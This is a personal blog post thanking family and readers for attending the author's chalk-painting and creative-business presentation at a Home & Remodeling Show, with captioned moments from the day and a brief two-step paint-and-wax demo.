Dear Family, Friends, Readers & Audience that came from near & far,

Thank you all ever so much for coming to watch me present at the Home & Remodeling Show yesterday. I had a great time sharing Blue Egg Brown Nest with all of you & hope you learned something from the chalk painting & creative business tips I gave.

The overwhelming support started in the morning with this little Matisse.

I call it: “Nest with 3 Blue Eggs on a Tree Branch with Green Grass”. Train them up in the way they should go…

Thanks Ty & Shannon for the extra marketing materials for the cars!!

DH at the loading dock ready to bring out the pieces that I brought for the chalk paint demo.

Arriving! 3 coffees deep at this point.

Sweet Stephanie that runs the whole darn show. I hope she’s home taking a long winter’s nap right now!

My dear parents got there about 3 hours early to help out!

You’ve heard me mention my dear dad that is also the jewelry designer.

Getting ready backstage.

Yes, Power Point, microphone and slide clicker-thing. And you thought I was just a mommy.


I don’t know about you, but public speaking is not exactly my cup of tea. I was pleased to present, but am breathing a sigh of relief today! In fact, we are all still in our pjs 🙂

Here’s the demo, Step #1 – paint.

Step #2 – sand & clear wax.

I will be posting the video on YouTube with my other tutorial videos in case you want to review the demo. I will also be posting the steps once again since there were alot of questions.

It was so lovely meeting so many of you that have been faithful readers. I can’t thank you enough for the care & support.
